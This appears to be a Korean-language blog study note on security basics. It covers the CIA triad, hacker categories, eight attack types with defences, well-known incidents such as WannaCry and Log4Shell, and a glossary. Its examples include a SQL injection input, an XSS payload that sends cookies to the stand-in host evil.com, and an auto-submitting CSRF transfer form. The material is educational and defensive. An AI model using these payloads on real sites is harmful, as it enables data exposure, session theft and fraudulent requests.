Backend
home
🔐

보안과 해킹 기초 — 개념부터 실제 공격 케이스까지

태그
Computer Science
기술 정보
게시일
2026/05/01
최종 편집 일시
2026/05/01 14:22
1 more property

보안이란?

보안(Security)은 시스템, 데이터, 네트워크를 무단 접근·변조·파괴로부터 보호하는 일련의 기술과 정책.
크게 세 가지 목표로 정리됨.
목표
영문
의미
기밀성
Confidentiality
인가된 사람만 데이터에 접근
무결성
Integrity
데이터가 허가 없이 변조되지 않음
가용성
Availability
필요할 때 언제든 서비스 이용 가능
이 세 가지를 합쳐 CIA Triad라고 부름.

해킹이란?

해킹(Hacking)은 원래 시스템의 동작 방식을 깊이 이해하고 창의적으로 다루는 행위를 의미했으나, 현재는 취약점을 악용해 무단으로 시스템에 침입하는 행위를 주로 지칭.

해커의 분류

분류
별칭
설명
White Hat
화이트햇
기업 의뢰를 받아 합법적으로 취약점 진단
Black Hat
블랙햇
악의적 목적으로 시스템 침입
Gray Hat
그레이햇
허가 없이 침입하지만 악의는 없음

주요 공격 유형

1. SQL Injection

개념: 입력 값에 SQL 구문을 삽입해 DB를 직접 조작하는 공격.
-- 정상 쿼리 SELECT * FROM users WHERE id = '입력값'; -- 공격 입력: ' OR '1'='1 SELECT * FROM users WHERE id = '' OR '1'='1'; -- → 조건이 항상 참 → 전체 데이터 노출
SQL
복사
방어: PreparedStatement / Parameterized Query 사용.
// Bad String query = "SELECT * FROM users WHERE id = '" + input + "'"; // Good PreparedStatement ps = conn.prepareStatement("SELECT * FROM users WHERE id = ?"); ps.setString(1, input);
Java
복사

2. XSS (Cross-Site Scripting)

개념: 악성 스크립트를 웹 페이지에 삽입해 다른 사용자의 브라우저에서 실행시키는 공격.
<!-- 공격자가 입력하는 값 --> <script>document.location='https://evil.com?cookie='+document.cookie</script> <!-- 피해자 브라우저에서 실행 → 쿠키 탈취 -->
HTML
복사
방어: 입력값 이스케이핑 (<&lt;), Content Security Policy(CSP) 설정.

3. CSRF (Cross-Site Request Forgery)

개념: 인증된 사용자를 속여 의도하지 않은 요청을 서버에 보내게 만드는 공격.
<!-- 악성 사이트에 숨겨진 폼 --> <form action="https://bank.com/transfer" method="POST"> <input type="hidden" name="amount" value="1000000"> <input type="hidden" name="to" value="attacker"> </form> <script>document.forms[0].submit();</script>
HTML
복사
방어: CSRF Token 발급, SameSite 쿠키 설정, Referer 검증.

4. Brute Force & Dictionary Attack

개념: 가능한 모든 조합을 시도하거나(Brute Force), 흔한 비밀번호 목록을 대입(Dictionary Attack)해 계정을 탈취.
방어: 로그인 시도 횟수 제한, CAPTCHA, 계정 잠금 정책, 강력한 패스워드 정책.

5. Phishing (피싱)

개념: 신뢰할 수 있는 기관을 사칭해 민감 정보(계정, 카드번호 등)를 속여 빼앗는 공격. 이메일·SMS·가짜 사이트 활용.
방어: 이메일 발신자 도메인 확인, URL 검증, MFA(다중 인증) 적용.

6. DDoS (Distributed Denial of Service)

개념: 수많은 봇넷(감염된 PC)으로 특정 서버에 대량 트래픽을 보내 서비스를 마비시키는 공격.
방어: CDN·WAF 사용, 트래픽 필터링, Rate Limiting, 클라우드 DDoS 방어 서비스(Cloudflare 등).

7. Man-in-the-Middle (MITM)

개념: 통신하는 두 당사자 사이에 끼어들어 데이터를 도청·변조하는 공격.
방어: HTTPS(TLS) 적용, 인증서 핀닝(Certificate Pinning), HSTS 설정.

8. Zero-Day Attack

개념: 아직 벤더(개발사)도 모르는 취약점을 악용한 공격. 패치가 존재하지 않아 방어가 극히 어려움.
방어: 이상 행동 탐지(EDR/XDR), 최소 권한 원칙(Principle of Least Privilege), 신속한 패치 관리.

실제 유명 해킹 케이스

2014 — Sony Pictures 해킹

공격자(북한 연계 그룹 추정)가 내부 네트워크 침투
미공개 영화, 임원 이메일, 직원 개인정보 대규모 유출
랜섬웨어 유사 악성코드로 수천 대 PC 파괴
교훈: 내부망 분리 미흡, 권한 관리 실패

2017 — WannaCry 랜섬웨어

NSA가 개발한 EternalBlue 취약점(Windows SMB) 이용
전 세계 150개국, 30만 대 이상 PC 감염
병원·공장·통신사 등 핵심 인프라 마비
교훈: 패치 지연의 위험성, 네트워크 세그먼테이션 필요

2020 — SolarWinds 공급망 공격

IT 관리 소프트웨어 SolarWinds Orion의 업데이트에 백도어 삽입
미국 정부 기관 및 포춘 500 기업 수백 곳 침투
수개월간 탐지되지 않음
교훈: 공급망(Supply Chain) 보안의 중요성

2021 — Log4Shell (Log4j 취약점)

Java 로깅 라이브러리 Log4j의 JNDI Lookup 기능 악용
원격 코드 실행(RCE) 가능 → 인터넷의 수억 개 시스템 영향
CVE 점수 10.0 (최고 심각도)
교훈: 오픈소스 의존성 관리의 중요성, SBOM(소프트웨어 자재명세서) 필요

방어 핵심 원칙 요약

원칙
설명
최소 권한 원칙
필요한 최소한의 권한만 부여
심층 방어
단일 방어선이 아닌 다중 레이어 구성
입력 검증
모든 외부 입력은 신뢰하지 않고 검증
암호화
전송·저장 데이터 모두 암호화
빠른 패치
취약점 발견 즉시 업데이트 적용
모니터링
이상 징후 실시간 탐지 및 대응

알아두면 좋은 영어 용어

용어
의미
Vulnerability
취약점
Exploit
취약점을 악용하는 코드/기법
Payload
공격 시 실행되는 악성 코드
CVE
공개 취약점 번호 체계 (Common Vulnerabilities and Exposures)
Penetration Testing
모의 해킹 테스트
Attack Surface
공격 가능한 진입점의 총합
Threat Actor
공격 주체 (개인, 국가, 조직 등)
IOC
침해 지표 (Indicators of Compromise)